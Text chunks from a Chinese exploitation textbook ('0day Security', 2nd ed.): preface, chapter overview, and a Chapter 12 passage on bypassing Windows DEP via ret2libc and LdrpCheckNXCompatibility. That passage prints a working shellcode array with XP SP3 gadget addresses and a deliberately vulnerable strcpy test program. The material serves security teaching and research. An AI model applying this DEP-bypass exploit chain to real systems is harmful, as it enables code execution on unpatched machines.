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    {"text": "第二篇在第一篇的基础上，结合国内外 相关研究者的前沿成果，对漏洞技术从攻、防两个方面进行总结； 第三篇站在安全测试者的角度，讨论了 几类常用软件的漏洞挖掘方法与思路；"},
    {"text": "张东辉等编著. —2 版. —北京：电子工业出版社，2011.6 （安全技术大系） ISBN 978-7-121-13396-1 Ⅰ. ①0 … Ⅱ. ①王… ②张… Ⅲ. ①计算机网络－安全技术 Ⅳ. ①TP393.08 中国版本图书馆 CIP 数据核字（2011）第 074902 号 责任编辑：徐津平 印 刷： 三河市鑫金马印装有限公司 装 订： 出版发行：电子工业出版社 北京市海淀区万寿路 173 信箱 邮编 100036 开 本：787×980 1/16 印张：48.75 字数：780 千字 印 次：2011 年 6 月第 1 次印刷 印 数：4000 册 定价：85.00 元 凡所购买电子工业出版社图书有缺损问题，请向购买书店调换。"},
    {"text": "关于“zero day attack” 0 day 是网络安全技术中的一个术语，特指被攻击者掌握却未被软件厂商修复的系统漏洞。 0 day 漏洞是攻击者入侵系统的终极武器，资深的黑客手里总会掌握几个功能强大的 0 day 漏洞。 0 day 漏洞是木马、病毒、间谍软件入侵系统的最有效途径。 由于没有官方发布的安全补丁， 攻击者可以利用 0 day 对目标主机为所欲为，甚至在 Internet 上散布蠕虫。"},
    {"text": "全世界有无数的信息安全科研机构在不遗余力地研究与 0 day 安全相关的课题。 全世界也有无数技术精湛的攻击者在不遗余力地挖掘软件中的 0 day 漏洞。"},
    {"text": "自 序 不请长缨，系取天骄种，剑吼西风 ——《六州歌头》北宋，贺铸 虽然事隔多年，我仍然清晰记得自己被“冲击波”愚弄的场景——2003 年夏的那个晚上， 自己像往常一样打开实验室的计算机，一边嘲笑着旁边同学因为不装防火墙而被提示系统将在 一分钟内关机，一边非常讽刺地在自己的计算机上发现了同样的提示对话框。"},
    {"text": "想象一下，剥掉 Windows 中那些经过层层封装的 神秘的对话框“外衣” ，面对着浩如烟海的二进制机器码，跋涉于内存中不知所云的海量数据， 在没有任何技术文档可以参考的情况下，进行反汇编并调试，把握函数调用和参数传递的细节， 猜测程序的设计思路，设置巧妙的断点并精确定位到几行有逻辑缺陷的代码，分析研究怎么去 触发这个逻辑漏洞，最后编写出天才的渗透代码，从而得到系统的控制权……这些分析过程的 每一个环节无不散发着充满智慧的艺术美感！ 这种技术不同于其他计算机技术，它的进入门槛 很高，需要拥有丰富的计算机底层知识、精湛的软件调试技术、非凡的逻辑分析能力，还要加 上一点点创造性的思维和可遇而不可求的运气。"},
    {"text": "为了真正搞清楚蠕虫病毒是怎样利用 Windows 漏洞精确淹没 EIP 寄存器并获得进程控制权，我 仍然记得自己不得不游走于各种论坛收集高手们零散手稿时的情形。"},
    {"text": "正是这种“请缨无处，剑吼西风”的感觉，激励着我把自己钻研的心血 凝结成一本教程，希望这样一本教程可以帮助喜欢网络安全的朋友们在学习时绕开我曾走过的 弯路。"},
    {"text": "地势坤，君子以厚德载物 ——《周易》 距离《0day 安全：软件漏洞分析技术》的出版已有 3 年，接到再版约稿的时候我着实有一 番感慨，也有着太多的内容想与大家分享。"},
    {"text": "期间我参加了若干次安全事件的应急响应、在若干个安全峰会上做过漏洞 技术的演讲、完成了无数次的渗透测试、也有幸见证了先行者们在 Windows 平台上进行的最为 精彩的几场较量…… 为了在再版中更加完美地总结这精彩的几年，我特意邀请了几位和我意气相投的兄弟加入 编写团队，他们是： 熟悉 Windows 内核机制的张东辉（Shineast，负责编写内核安全部分）；"},
    {"text": "再版中新增了大量前沿知识和案例分析， 囊括了 Windows 平台高级溢出技巧、手机平台的溢出基础、内核攻防、漏洞挖掘与安全测试、 大量的 0day 分析案例等。"},
    {"text": "在信息安 全这条道路上行走，需要“男儿何不带吴钩，收取关山五十州”的豪情，需要“臣心一片磁针石， 不指南方不肯休”的毅力，需要“壁立千仞，无欲则刚”的情怀……我等立书只为布道交友，最大 的收益莫过于帮助还在彷徨如何入门的朋友迈过那条门槛，通过此书结交更多的同道中人。"},
    {"text": "Failwest 2011 年 5 月 4 日  VI  前 言 关于安全技术人才 国内外对网络安全技术人才的需求量很大，精通缓冲区溢出攻击的安全专家可以在大型软 件公司轻易地获得高薪的安全咨询职位。"},
    {"text": "科班出身的学生往往具有扎实的理论基础，他们通晓密码学知识、知 道 PKI 体系架构，但要谈到如何真刀实枪地分析病毒样本、如何拿掉 PE 上复杂的保护壳、如何 在二进制文件中定位漏洞、如何对软件实施有效的攻击测试……能够做到的人并不多。"},
    {"text": "关于“Impossible”与“I’m possible” 从拼写上看， “Impossible”与“I’m possible”仅仅相差一个用于缩写的撇号（apostrophe）。 学完本书之后，您会发现将“不可能（Impossible）”变为“可能（I’m possible）”的“关键（key point） ”往往就是那么简单的几个字节，本书将要讨论的就是在什么位置画上这一撇！"},
    {"text": "从意义上看，To be the apostrophe which changed “Impossible” into “I’m possible” 代表着人 类挑战自我的精神，代表着对理想执著的追求，代表着对事业全情的投入，代表着敢于直面惨 淡人生的豪情……而这一切正好是黑客精神的完美诠释——还记得在电影《Sword Fish（剑鱼 行动）》中，Stan 在那台酷毙的计算机前坚定地说：“Nothing is impossible”，然后开始在使用 Vernam 加密算法和 512 位密钥加密的网络上，挑战蠕虫的经典镜头吗？"},
    {"text": "尽管我的英语老师和不少 外国朋友提醒我，说这个句子带有强烈的“Chinglish”味道，甚至会引起 Native Speaker 的误 解，然而我最终还是决定把它写进书里。 虽然我不是莎士比亚那样的文豪，可以创造语言，发明修辞，用文字撞击人们的心灵，但 这句“Chinglish”的确能把我所要表达的含义精确地传递给中国人，这已足够。"},
    {"text": "关于本书 通常情况下，利用缓冲区溢出漏洞需要深入了解计算机系统，精通汇编语言乃至二进制的 机器代码，这足以使大多数技术爱好者望而却步。"},
    {"text": "伴随着调试技术和逆向工程的发展，Windows 平台下涌现出的众多功能强大 的 debug 工具和反汇编分析软件逐渐让二进制世界和操作系统变得不再神秘，这有力地推动了 Windows 平台下缓冲区溢出的研究。"},
    {"text": "除此以外，近年来甚至出现了基于架构（Frame Work）的 漏洞利用程序开发平台，让这项技术的进入门槛大大降低，使得原本高不可攀的黑客技术变得 不再遥不可及。"},
    {"text": "遗憾的是，与国外飞速发展的高级黑客技术相比，目前国内还没有系统介绍 Windows 平台 下缓冲区溢出漏洞利用技术的专业书籍，而且相关的中文文献资料也非常匮乏。 本书将系统全面地介绍 Windows 平台软件缓冲区溢出漏洞的发现、检测、分析和利用等方 面的知识。"},
    {"text": "从为了阐述概念而精心自制的漏洞程序调试实验到现实中已经造成很大影响的著名漏洞分析，每 一个调试实验都有着不同的技术侧重点，每一个漏洞利用都有自己的独到之处。"},
    {"text": "不管 您是网络安全从业人员、黑客技术发烧友、网络安全专业的研究生或本科生，如果您能够完成 这些分析实验，相信您的软件调试技术、对操作系统底层的理解等计算机能力一定会得到一次 质的飞跃，并能够对安全技术有一个比较深入的认识。"},
    {"text": "本书适合的读者群体包括：  安全技术工作者 本书比较全面、系统地收录了 Windows 平台下缓冲区溢出攻击所涉 及的各种方法，将会是一本不错的技术字典。"},
    {"text": " 信息安全理论研究者 本书中纰漏的许多漏洞利用、检测方法在学术上具有一定的前 沿性，在一定程度上反映了目前国内外安全技术所关注的焦点问题。"},
    {"text": " QA 工程师、软件测试人员 本书第 4 篇中集中介绍了产品安全性测试方面的知识，这 些方法可以指导 QA 人员审计软件中的安全漏洞，增强软件的安全性，提高软件质量。"},
    {"text": "第 3 章 开发 shellcode 的艺术 本章紧接第 2 章的讨论，比较系统地介绍了溢出发生后，如何布置缓冲区、如何定位 shellcode、如何编写和调试 shellcode 等实际的问题。 最后两小节还给出了一些编写 shellcode 的高级技术，供有一定汇编基础的朋友做参考。"},
    {"text": "第 4 章 用 MetaSploit 开发 Exploit MetaSploit 是软件工程中的 Frame Work（架构）在安全技术中的完美实现，它把模块化、 继承性、封装等面向对象的特点在漏洞利用程序的开发中发挥得淋漓尽致。"},
    {"text": "本章集中介绍了 一些曾发表于 Black Hat 上的著名论文中所提出的高级利用技术，如狙击 Windows 异常处理机 制、攻击虚函数、off by one、 Heap Spray 等利用技巧。"},
    {"text": "第 11 章 亡羊补牢：SafeSEH 攻击 S.E.H 已经成为 windows 平台下漏洞利用的经典手法。 为了遏制日益疯狂的攻击，微 软在 Windows XP SP2 及后续版本的操作系统中引入了著名的 S.E.H 校验机制 SafeSEH。"},
    {"text": "第 12 章 数据与程序的分水岭：DEP 溢出攻击的根源在于现代计算机对数据和代码没有明确区分这一先天缺陷， 而 DEP 这种 看似釜底抽薪式的防护措施是否真的可以杜绝溢出攻击呢？"},
    {"text": " X  第 13 章 在内存中躲猫猫：ASLR 程序加载时不再使用固定的基址加载，ASLR 技术将溢出时使用的跳板在内存中隐藏了起 来，没有了跳板我们如何溢出呢？"},
    {"text": "第 19 章 E-mail 的漏洞挖掘 E-mail 系统涉及的安全问题不光只有缓冲区溢出，在本章的挖掘案例中，您会发现除了工 具和常用方法外，威力最为强大的武器还是您的大脑。"},
    {"text": "第 4 篇 操作系统内核安全 第 21 章 探索 ring0 研究内核漏洞，需要首先掌握一些内核基础知识，例如内核驱动程序的开发、编译、运行  XI  和调试，内核中重要的数据结构等，本章将为读者开启探索 ring0 之门，逐步掌握一些内核基 础知识。 第 22 章 内核漏洞利用技术 本章将带领读者从一个简单的内核漏洞程序 exploitme.sys 的编写开始，展示内核漏洞利用 的思路、方法，以及利用程序和 Ring0 Shellcode 的编写和设计。 第 23 章 FUZZ 驱动程序 掌握了内核漏洞的原理和利用方法，本章将进入内核漏洞挖掘阶段，学习较为高级的内核 漏洞挖掘技术，最后实践该漏洞挖掘技术，分析挖掘出内核漏洞。 第 24 章 内核漏洞案例分析 本章对几种典型的内核漏洞，用几个真实的内核漏洞案例来详细分析，分析漏洞造成的具 体原因和细节，并构造漏洞成功利用的方法。 第 5 篇 漏洞分析案例 第 25 章 漏洞分析技术概述 本章纵览了漏洞分析与调试的思路，并介绍了一些辅助漏洞调试分析的高级逆向工具。"},
    {"text": "第 26 章 RPC 入侵：MS06-040 与 MS08-067 由于可以做到主动式远程入侵，RPC 级别的漏洞被誉为漏洞中的王者，此类漏洞也极其稀 有，每一个都有一段曲折的故事。"},
    {"text": "第 28 章 MS09-032 分析：一个“&”引发的血案 一个视频网页的背后可能是一只凶狠的木马，这就是著名的 Microsoft DirectShow MPEG-2 视频 ActiveX 控件远程代码执行漏洞。"},
    {"text": "第 31 章 坝之蚁穴：超长 URL 溢出漏洞 安全软件不一定安全，即便是这款保护未成年人健康上网的计算机终端过滤软件，也有可 能成为黑客攻击的窗口。"},
    {"text": "第 32 章 暴风影音 M3U 文件解析漏洞 晚上回家后用暴风影音打开别人发过来的 M3U 列表文件，在你陶醉于其内容之时，一只 精干的小马已悄然在后台运行。"},
    {"text": "DEP 的基本原理是将数据所在内存页标识为不可执行，当程序溢出成功转入 shellcode 时， 程序会尝试在数据页面上执行指令，此时 CPU 就会抛出异常，而不是去执行恶意指令。"},
    {"text": "标记为不可执行区域 …… …… 跳板指令 跳板指令 …stack data… …stack data… CPU检测到在非可 buffer（shellcode） buffer（shellcode） 执行区域执行指令 …… 时，将禁止执行指 …… （shellcode） （shellcode） 令并抛出异常 禁止 …… …… （shellcode） （shellcode） 通过跳板跳入 执行 转入异常处理 shellcode执行 正常执行 ……（shellcode） 正常执行 ……（shellcode） 异常处理 …stack data… …stack data… 经典溢出流程 启用DEP后流程 图 12.1.1 DEP 工作原理 DEP 的主要作用是阻止数据页（如默认的堆页、各种堆栈页以及内存池页）执行代码。"},
    {"text": "微软从 Windows XP SP2 开始提供这种技术支持，根据实现的机制不同可分为：软件 DEP （Software DEP）和硬件 DEP（Hardware-enforced DEP）。 软件 DEP 其实就是我们前面介绍的 SafeSEH，它的目的是阻止利用 S.E.H 的攻击，这种机 制与 CPU 硬件无关，Windows 利用软件模拟实现 DEP，对操作系统提供一定的保护。"},
    {"text": "硬件 DEP 才是真正意义的 DEP，硬件 DEP 需要 CPU 的支持，AMD 和 Intel 都为此做了设 计，AMD 称之为 No-Execute Page-Protection (NX)，Intel 称之为 Execute Disable Bit (XD) ，两 0 day 者功能及工作原理在本质上是相同的。"},
    {"text": "安全：软件漏洞 操作系统通过设置内存页的 NX/XD 属性标记，来指明不能从该内存执行代码。 为了实现 这个功能，需要在内存的页面表（Page Table）中加入一个特殊的标识位（NX/XD）来标识是 否允许在该页上执行指令。"},
    {"text": "由于软件 DEP 就是传说中的 SafeSEH，关于 SafeSEH 的突破前面我们已经介绍过，所以 分析技术（第 在这一节中我们只对硬件 DEP 进行讨论和分析。"},
    {"text": "大家可以通过如下方法检查 CPU 是否支持硬件 DEP，右键单击桌面上的“我的电脑”图 标，选择“属性”，在打开的“系统属性”窗口中点击“高级”选项卡。"},
    {"text": "单击“数据执行保护”选项卡，在该页 面中我们可确认自己计算机的 CPU 是否支持 DEP。 如果 CPU 不支持硬件 DEP 该页面底部会 有如下类似提示： “您的计算机的处理器不支持基于硬件的 DEP。"},
    {"text": "Optin模式 Optout模式 CPU不支持DEP时 会有此显示 图 12.1.2 Windows 2003 下 DEP 选项页示例 根据启动参数的不同，DEP 工作状态可以分为四种。 （1）Optin：默认仅将 DEP 保护应用于 Windows 系统组件和服务，对于其他程序不予保护， 但用户可以通过应用程序兼容性工具(ACT，Application Compatibility Toolkit)为选定的程序启用 DEP，在 Vista 下边经过/NXcompat 选项编译过的程序将自动应用 DEP。"},
    {"text": "314 第 （3）AlwaysOn：对所有进程启用 DEP 的保护，不存在排序列表，在这种模式下，DEP 不 12 章 可以被关闭，目前只有在 64 位的操作系统上才工作在 AlwaysOn 模式。 （ 数据与程序的分水岭： 4）AlwaysOff：对所有进程都禁用 DEP，这种模式下，DEP 也不能被动态开启，这种模 式一般只有在某种特定场合才使用，如 DEP 干扰到程序的正常运行。"},
    {"text": "如图 12.1.3 所示，DEP 在该操 作系统上的工作模式为 Optout。 Windows 2003默 认为Optout模式 DE P 图 12.1.3 Windows 2003 下 DEP 默认启动状态 介绍完 DEP 的工作原理及状态后，我们来看一个和 DEP 密切相关的程序链接选项： /NXCOMPAT。"},
    {"text": "/NXCOMPAT 是 Visual Studio 2005 及后续版本中引入一个链接选项，默认情况 下是开启的。 在本书中使用的 Visual Studio 2008 (VS 9.0)中，可以在通过菜单中的 Project→ project Properties → Configuration Properties → Linker → Advanced → Data Execution Prevention (DEP)中选择是不是使用/NXCOMPAT 编译程序，如图 12.1.4 所示。 图 12.1.4 VS 2008 中设置/NXCOMPAT 编译选项 315 0 day 采用/NXCOMPAT 编译的程序会在文件的 PE 头中设置 IMAGE_DLLCHARACTERISTICS_ 安全：软件漏洞 NX_COMPAT 标识，该标识通过结构体 IMAGE_OPTIONAL_HEADER 中的 DllCharacteristics 变量进行体现，当 DllCharacteristics 设置为 0x0100 表示该程序采用了/NXCOMPAT 编译。"},
    {"text": "通过前面的介绍我们知道用户版的操作系统 分析技术（第 中 DEP 一般工作在 Optin 状态，此时 DEP 只保护系统核心进程，而对于普通的程序是没有保 护的。"},
    {"text": "虽然用户可以通过工具自行添加，但这无形中增高了安全的门槛，所以微软推出了 /NXCOMPAT 编译选项。 经过/NXCOMPAT 编译的程序在 Windows vista 及后续版本的操作系统 上会自动启用 DEP 保护。"},
    {"text": "其次，由于兼容性的原因 Windows 不能对所有进程开启 DEP 保护，否则可能会出现异常。 例如一些第三方的插件 DLL，由于无法确认其是否支持 DEP，对涉及这些 DLL 的程序不敢贸 然开启 DEP 保护。 再有就是使用 ATL 7.1 或者以前版本的程序需要在数据页面上产生可以执行 代码，这种情况就不能开启 DEP 保护，否则程序会出现异常。"},
    {"text": "最后，当 DEP 工作在最主要的两种状态 Optin 和 Optout 下时，DEP 是可以被动态关闭和 开启的，这就说明操作系统提供了某些 API 函数来控制 DEP 的状态。"},
    {"text": "同样很不幸的是早期的 操作系统中对这些 API 函数的调用没有任何限制，所有的进程都可以调用这些 API 函数，这就 埋下了很大的安全隐患，也为我们突破 DEP 提供了一条道路。"},
    {"text": "12.2 攻击未启用 DEP 的程序 其实这种方法不能称之为“绕过”DEP，因为 DEP 根本就没有发挥作用，在这提出这种方 法的原因是要说明并不是只要 CPU 和操作系统支持 DEP，所有的程序就都安全了。"},
    {"text": "这样的程序在 316 第 Windows 下还是有很多的， 即使在最新的 Win7 操作系统下依然有很多的程序没有启用 DEP（如 12 章 图 12.2.1），所以想办法攻击未启用 DEP 保护的程序也不失为一种简单有效的办法。 数据与程序的分水岭： 很多主流软件都 DE 未启用DEP P 图 12.2.1 Win7 下很多进程未开启 DEP 由于这种攻击手段不与 DEP 有着正面冲突，只是一种普通的溢出攻击，所以在这我们就 不过多讨论了，权当为大家提供一种思路。"},
    {"text": "12.3 利用 Ret2Libc 挑战 DEP 在 DEP 保护下溢出失败的根本原因是 DEP 检测到程序转到非可执行页执行指令了，如果 我们让程序跳转到一个已经存在的系统函数中结果会是怎样的呢？ 已经存在的系统函数必然 存在于可执行页上，所以此时 DEP 是不会拦截的，Ret2libc 攻击的原理也正是基于此的。 Ret2libc 是 Return-to-libc 简写，由于 DEP 不允许我们直接到非可执行页执行指令，我们就 需要在其他可执行的位置找到符合我们要求的指令，让这条指令来替我们工作，为了能够控制 程序流程，在这条指令执行后，我们还需要一个返回指令，以便收回程序的控制权，然后继续 下一步操作，整体流程如图 12.3.1 所示。"},
    {"text": "姑且不说是不是 shellcode 中的每条指令都能在代码区找到替代指令，就算所有替代指令都找好了，如何保证每 条指令的地址都不包含 0x00 截断字符呢？"},
    {"text": "分析技术（第 2 版） 图 12.3.1 Ret2libc 流程 （2）通过跳转到 VirtualProtect 函数来将 shellcode 所在内存页设置为可执行状态，然后再 转入 shellcode 执行。 （3）通过跳转到 VIrtualAlloc 函数开辟一段具有执行权限的内存空间，然后将 shellcode 复 制到这段内存中执行。"},
    {"text": "一个进程的 DEP 设置标识保存在 KPROCESS 结构中的_KEXECUTE_OPTIONS 上，而这 个标识可以通过 API 函数 ZwQueryInformationProcess 和 ZwSetInformationProcess 进行查询和 修改。"},
    {"text": "题外话：在有些资料中将这些函数称为 NtQueryInformationProcess 和 NtSetInformation Process，在 Ntdll.dll 中 Nt**函数和 Zw**函数功能是完全一样的，本书中我们统一称 之为 Zw**。"},
    {"text": "_KEXECUTE_OPTIONS 318 第 Pos0ExecuteDisable :1bit 12 章 Pos1ExecuteEnable :1bit Pos2DisableThunkEmulation :1bit 数据与程序的分水岭： Pos3Permanent :1bit Pos4ExecuteDispatchEnable :1bit Pos5ImageDispatchEnable :1bit Pos6Spare :2bit 这些标识位中前 4 个 bit 与 DEP 相关，当前进程 DEP 开启时 ExecuteDisable 位被置 1，当 进程 DEP 关闭时 ExecuteEnable 位被置 1，DisableThunkEmulation 是为了兼容 ATL 程序设置的， Permanent 被置 1 后表示这些标志都不能再被修改。 真正影响 DEP 状态是前两位，所以我们只 要将_KEXECUTE_OPTIONS 的值设置为 0x02（二进制为 00000010）就可以将 ExecuteEnable DE 置为 1。"},
    {"text": "接下来我们来看看关键函数 P NtSetInformationProcess： ZwSetInformationProcess( IN HANDLE ProcessHandle, IN PROCESS_INFORMATION_CLASS ProcessInformationClass, IN PVOID ProcessInformation, IN ULONG ProcessInformationLength ); 第一个参数为进程的句柄，设置为−1 的时候表示为当前进程；"},
    {"text": "ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE; ZwSetInformationProcess( NtCurrentProcess(), // (HANDLE)-1 ProcessExecuteFlags, // 0x22 &ExecuteFlags, // ptr to 0x2 sizeof(ExecuteFlags)); // 0x4 所以我们只要构造一个的合乎要求的栈帧，然后调用这个函数就可以为进程关闭 DEP 了。"},
    {"text": "在这微软的兼容性考虑又惹祸了，如果一个进程的 Permanent 位没有设置，当它加载 DLL 时，系统就会对这个 DLL 进行 DEP 兼容性检查，当存在兼容性问题时进程的 DEP 就会被关闭。 为此微软设立了 LdrpCheckNXCompatibility 函数，当符合以下条件之一时进程的 DEP 会被关闭： （1）当 DLL 受 SafeDisc 版权保护系统保护时；"},
    {"text": "319 0 day （3）Windows Vista 下面当 DLL 包含在注册表“HKEY_LOCAL_MACHINE\\SOFTWARE 安全：软件漏洞 \\Microsoft\\ Windows NT\\CurrentVersion\\Image File Execution Options\\DllNXOptions”键下边标识 出不需要启动 DEP 的模块时。"},
    {"text": "分析技术（第 …… LdrpCheckNXCompatibility SafeDisc检查 [EBP-4]的值为2 …… AL=1表示是SafeDisc 7C93CD11 MOV EDI,EDI 7C956831 PUSH 4 7C93CD13 PUSH EBP 7C956833 LEA EAX,DWORD PTR SS:[EBP-4] 7C93CD14 MOV EBP,ESP 7C956836 PUSH EAX …… 7C956837 PUSH 22 -1表示当前进程 7C93CD1F CALL ntdll.7C93CCAB 7C956839 PUSH -1 7C93CD24 CMP AL,1 7C95683B CALL ntdll.ZwSetInformationProcess 此跳转将ESI值赋给 7C93CD26 PUSH 2 7C956840 JMP ntdll.7C93CD6D [EBP-4]然后返回 7C93CD28 POP ESI …… 2 版） 7C93CD29 JE ntdll.7C95F70E 7C93CD2F CMP DWORD PTR SS:[EBP-4],0 7C93CD33 JNZ ntdll.7C956831 7C93CD39 PUSH DWORD PTR SS:[EBP+8] 7C93CD3C CALL ntdll.7C93CD77 执行完该函数后DEP [EBP-4]=2 7C93CD41 TEST AL,AL 将关闭 转入关闭DEP流程 7C93CD43 JNZ ntdll.7C956829 7C93CD49 CMP DWORD PTR SS:[EBP-4],0 7C93CD4D JNZ ntdll.7C956831 7C93CD53 PUSH DWORD PTR SS:[EBP+8] 7C93CD56 CALL ntdll.7C93CE01 …… 注意RETN 带 7C93CD5B TEST AL,AL 7C93CD6D POP ESI 有偏移 7C93CD5D JNZ ntdll.7C95F716 7C93CD6E LEAVE .aspack等节检查 7C93CD63 CMP DWORD PTR SS:[EBP-4],0 7C93CD6F RETN 4 7C93CD67 JNZ ntdll.7C956831 …… …… 图 12.3.2 LdrpCheckNXCompatibility 关闭 DEP 流程 现在我们知道 LdrpCheckNXCompatibility 关闭 DEP 的流程了，我们开始尝试模拟这个过 程，我们将从 0x7C93CD24 入手关闭 DEP，这个地址可以通过 OllyFindAddr 插件中的 Disable DEP→Disable DEP <=XP SP3 来搜索，如图 12.3.3 所示。"},
    {"text": "将 AL 修改为 1 后我们让程序转到 0x7C93CD24 执行，在执行 0x7C93CD6F 处的 RETN 4 时 DEP 已经关闭，此时如果我们可以在让程序在 RETN 到一个我们精心构造的指令地址上， 就有可能转入 shellcode 中执行了。"},
    {"text": "include<stdlib.h> #include<string.h> #include<stdio.h> #include<windows.h> 320 第 charshellcode[]= 12 章 \"\\xFC\\x68\\x6A\\x0A\\x38\\x1E\\x68\\x63\\x89\\xD1\\x4F\\x68\\x32\\x74\\x91\\x0C\" \"\\x8B\\xF4\\x8D\\x7E\\xF4\\x33\\xDB\\xB7\\x04\\x2B\\xE3\\x66\\xBB\\x33\\x32\\x53\" 数据与程序的分水岭： \"\\x68\\x75\\x73\\x65\\x72\\x54\\x33\\xD2\\x64\\x8B\\x5A\\x30\\x8B\\x4B\\x0C\\x8B\" \"\\x49\\x1C\\x8B\\x09\\x8B\\x69\\x08\\xAD\\x3D\\x6A\\x0A\\x38\\x1E\\x75\\x05\\x95\" \"\\xFF\\x57\\xF8\\x95\\x60\\x8B\\x45\\x3C\\x8B\\x4C\\x05\\x78\\x03\\xCD\\x8B\\x59\" \"\\x20\\x03\\xDD\\x33\\xFF\\x47\\x8B\\x34\\xBB\\x03\\xF5\\x99\\x0F\\xBE\\x06\\x3A\" \"\\xC4\\x74\\x08\\xC1\\xCA\\x07\\x03\\xD0\\x46\\xEB\\xF1\\x3B\\x54\\x24\\x1C\\x75\" \"\\xE4\\x8B\\x59\\x24\\x03\\xDD\\x66\\x8B\\x3C\\x7B\\x8B\\x59\\x1C\\x03\\xDD\\x03\" \"\\x2C\\xBB\\x95\\x5F\\xAB\\x57\\x61\\x3D\\x6A\\x0A\\x38\\x1E\\x75\\xA9\\x33\\xDB\" \"\\x53\\x68\\x77\\x65\\x73\\x74\\x68\\x66\\x61\\x69\\x6C\\x8B\\xC4\\x53\\x50\\x50\" \"\\x53\\xFF\\x57\\xFC\\x53\\xFF\\x57\\xF8\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" DE \"\\x90\\x90\\x90\\x90\" \"\\x52\\xE2\\x92\\x7C\"//MOV EAX,1 RETN 地址 P \"\\x85\\x8B\\x1D\\x5D\"//修正 EBP \"\\x19\\x4A\\x97\\x7C\"//增大 ESP \"\\xB4\\xC1\\xC5\\x7D\"//jmp esp \"\\x24\\xCD\\x93\\x7C\"//关闭 DEP 代码的起始位置 \"\\xE9\\x33\\xFF\\xFF\"//回跳指令 \"\\xFF\\x90\\x90\\x90\" ; voidtest() { chartt[176]; strcpy(tt,shellcode); } intmain() { HINSTANCEhInst = LoadLibrary(\"shell32.dll\"); chartemp[200]; test(); eturn 0; } 对实验思路和代码简要解释如下。"},
    {"text": "321 0 day 表 12-3-1 实验环境 安全：软件漏洞 推荐使用的环境 备 注 操作系统 Window XP SP3 DEP 状态 Optout 编译器 VC++ 6.0 编译选项 禁用优化选项 分析技术（第 build 版本 release 版本 通过前面的分析，我们需要先找到类似 MOV AL,1 RETN 的指令，即可以将 AL 置 1，又 可以通过 retn 收回程序控制权。"},
    {"text": "2 版） 图 12.3.4 类似 MOV AL,1 retn 的指令搜索结果 为了避免执行 strcpy 时 shellcode 被截断，我们需要选择一个不包含 0x00 的地址，本次实 验中我们使用 0x7C92E252 覆盖函数的返回地址。 关于覆盖掉函数返回地址所需字符串长度的 计算我们不再讨论，大家可以根据我们前面介绍的方法来自行计算，在本次实验中我们需要 184 个字节可以覆盖掉函数返回地址，所以我们在 181~184 字节处放上 0x7C92E252，shellcode 内 容如下所示。"},
    {"text": "charshellcode[]= \"\\xFC\\x68\\x6A\\x0A\\x38\\x1E\\x68\\x63\\x89\\xD1\\x4F\\x68\\x32\\x74\\x91\\x0C\" \"……\" \"\\x53\\x68\\x77\\x65\\x73\\x74\\x68\\x66\\x61\\x69\\x6C\\x8B\\xC4\\x53\\x50\\x50\" \"\\x53\\xFF\\x57\\xFC\\x53\\xFF\\x57\\xF8\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" \"\\x90\\x90\\x90\\x90\" \"\\x52\\xE2\\x92\\x7C\"//MOV EAX,1 RETN 地址 ; 然后编译程序，用 OllyDbg 加载调试程序。"},
    {"text": "观察堆栈可以看到此时 ESP 指向 test 函数返回地址的下方，而这个 ESP 指 向的内存空间存放的值将是 RETN 指令要跳到的地址，如图 12.3.5 所示。 322 第 12 章 数据与程序的分水岭： 将 AL 置为 1 后返回 溢出函数返回 retn 到 [ESP] 地址被覆盖为 0x7C92E252 DE 图 12.3.5 执行 retn 指令时内存状态 P 所以我们需要在这个位置放上 0x7C93CD24 以便让程序转入关闭 DEP 流程，我们为 shellcode 添加 4 个字节，并放置 0x7C93CD24，如下所示。"},
    {"text": "charshellcode[]= \"\\xFC\\x68\\x6A\\x0A\\x38\\x1E\\x68\\x63\\x89\\xD1\\x4F\\x68\\x32\\x74\\x91\\x0C\" \"……\" \"\\x53\\x68\\x77\\x65\\x73\\x74\\x68\\x66\\x61\\x69\\x6C\\x8B\\xC4\\x53\\x50\\x50\" \"\\x53\\xFF\\x57\\xFC\\x53\\xFF\\x57\\xF8\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" \"\\x90\\x90\\x90\\x90\" \"\\x52\\xE2\\x92\\x7C\"//MOV EAX,1 RETN 地址 \"\\x24\\xCD\\x93\\x7C\"//关闭 DEP 代码的起始位置 ; 重新编译程序后，用 OllyDbg 重新加载程序，在 0x7C93CD6F，即关闭 DEP 后的 RETN 4 处下断点，然后让程序直接运行。"},
    {"text": "如图 12.3.6 所示，程序现在需要对 EBP-4 位置写入数据，但 EBP 在溢出的时 候被破坏了，目前 EBP-4 的位置并不可以写入，所以程序出现了写入异常，所以我们现在的 shellcode 布局是行不通的，在转入 0x7C93CD24 前我们需要将 EBP 指向一个可写的位置。 尝试写入 [EBP-4] EBP 在前面溢出时 被破坏了 写入异常 图 12.3.6 EBP 在溢出时被破坏 323 0 day 我们可以通过类似 PUSH ESP POP EBP RETN 的指令将 EBP 定位到一个可写的位置，依然 安全：软件漏洞 请出我们的 OllyFindAddr 插件，我们可以在 Disable DEP <=XP SP3 搜索结果的 Setp3 部分查看 当前内存中所有符合条件的指令，如图 12.3.7 所示。"},
    {"text": "首先回顾一下图 12.3.5 中各寄存器的状态，所 有的寄存器中只有 ESP 指向的位置可以写入，所以现在我们只能选择 PUSH ESP POP EBP RETN 指令序列了。"},
    {"text": "现在还有一个严重的问题需要解决，我们直接将 ESP 的值赋给 EBP 返回 后，ESP 相对 EBP 位于高址位置，当有入栈操作时 EBP-4 处的值可能会被冲刷掉，进而影响 传入 ZwSetInformationProcess 的参数，造成 DEP 关闭失败。 我们不妨先使用 0x5D1D8B85 处的 PUSH ESP POP EBP RETN 04 指令来修正 EBP，然后 再根据堆栈情况想办法消除 EBP-4 被冲刷的影响。 先对 shellcode 重新布局，在转入关闭 DEP 流程前加入修正 EBP 指令，代码如下所示。 charshellcode[]= \"\\xFC\\x68\\x6A\\x0A\\x38\\x1E\\x68\\x63\\x89\\xD1\\x4F\\x68\\x32\\x74\\x91\\x0C\" \"……\" \"\\x53\\x68\\x77\\x65\\x73\\x74\\x68\\x66\\x61\\x69\\x6C\\x8B\\xC4\\x53\\x50\\x50\" \"\\x53\\xFF\\x57\\xFC\\x53\\xFF\\x57\\xF8\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" \"\\x90\\x90\\x90\\x90\" \"\\x52\\xE2\\x92\\x7C\" //MOV EAX,1 RETN 地址 